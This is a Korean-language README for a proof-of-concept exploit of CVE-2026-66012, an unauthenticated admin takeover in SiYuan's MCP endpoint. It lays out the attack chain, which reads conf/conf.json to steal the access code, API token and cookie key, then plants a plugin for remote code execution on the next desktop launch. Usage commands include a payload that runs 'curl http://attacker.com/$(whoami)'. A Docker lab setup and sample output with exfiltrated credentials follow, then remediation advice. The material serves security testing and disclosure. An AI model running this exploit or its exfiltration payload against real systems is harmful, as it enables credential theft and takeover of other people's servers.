
CVE-2026-66012에 대한 무인증 관리자 탈취 익스플로잇으로, MCP의 인가 누락을 악용하여 자격 증명을 유출하고 원격 코드 실행(RCE)을 달성합니다.
CVE-2026-66012 (CVSS 10.0 Critical)에 대한 개념 증명(PoC)입니다. SiYuan의 MCP(Model Context Protocol) 엔드포인트에서 누락된 권한 부여 취약점으로, Publish 서버가 익명 모드로 활성화되어 있을 때 인증되지 않은 공격자가 관리자 권한을 탈취하고 원격 코드 실행을 달성할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Critical |
| CWE | CWE-862 — 누락된 권한 부여 (Missing Authorization) |
| 영향 범위 | SiYuan < v3.7.2 |
| 수정 버전 | v3.7.2 (커밋 df51c2bda696) |
| 발견자 | Nguyen Van Hiep (@hypnguyen1209), MBBank |
세 가지 결함이 결합되어 공격 체인이 구성됩니다:
POST /mcp 는 model.CheckAuth만 등록되어 있습니다 — CheckAdminRole이나 CheckReadonly가 없습니다. 유효한 JWT(Reader 권한 포함)라면 31개의 모든 MCP 도구를 호출할 수 있습니다.handler.go)는 호출자의 역할을 확인하지 않고 도구를 실행합니다.Publish.Auth.Enable=false일 때 모든 요청에 익명의 RoleReader JWT를 주입하여, 누락된 권한 부여 버그를 인증 없이 악용 가능한 문제로 전환합니다.POST /mcp를 통해 (자격 증명 없이)conf/conf.json 읽기 → accessAuthCode, api.token, cookieKey 추출data/plugins/pwn/에 → nodeIntegration:true로 다음 데스크톱 실행 시 RCEaccessAuthCode를 사용해 포트 6806에서requests 라이브러리 (pip install requests)# 전체 익스플로잇 (자격 증명 탈취 + 플러그인 설치 + 관리자 권한 상승)
python3 exploit.py http://TARGET:6808
# 설치된 플러그인용 사용자 지정 페이로드
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# 자격 증명 탈취만 수행 (플러그인 설치 없음)
python3 exploit.py http://TARGET:6808 --no-plugin
승인된 테스트 전용입니다. 취약한 인스턴스를 로컬에 설치합니다:
# 작업 공간 생성
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# 취약한 SiYuan v3.7.1 시작
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Publish 서버를 익명 모드로 활성화
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# 익스플로잇 실행
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
SiYuan v3.7.2 이상으로 업그레이드하세요. 수정 사항(커밋 df51c2bda696)은 다음을 적용합니다:
/mcp 라우트에 CheckAdminRole + CheckReadonly 미들웨어 적용conf/conf.json 접근을 명시적으로 차단이 PoC는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.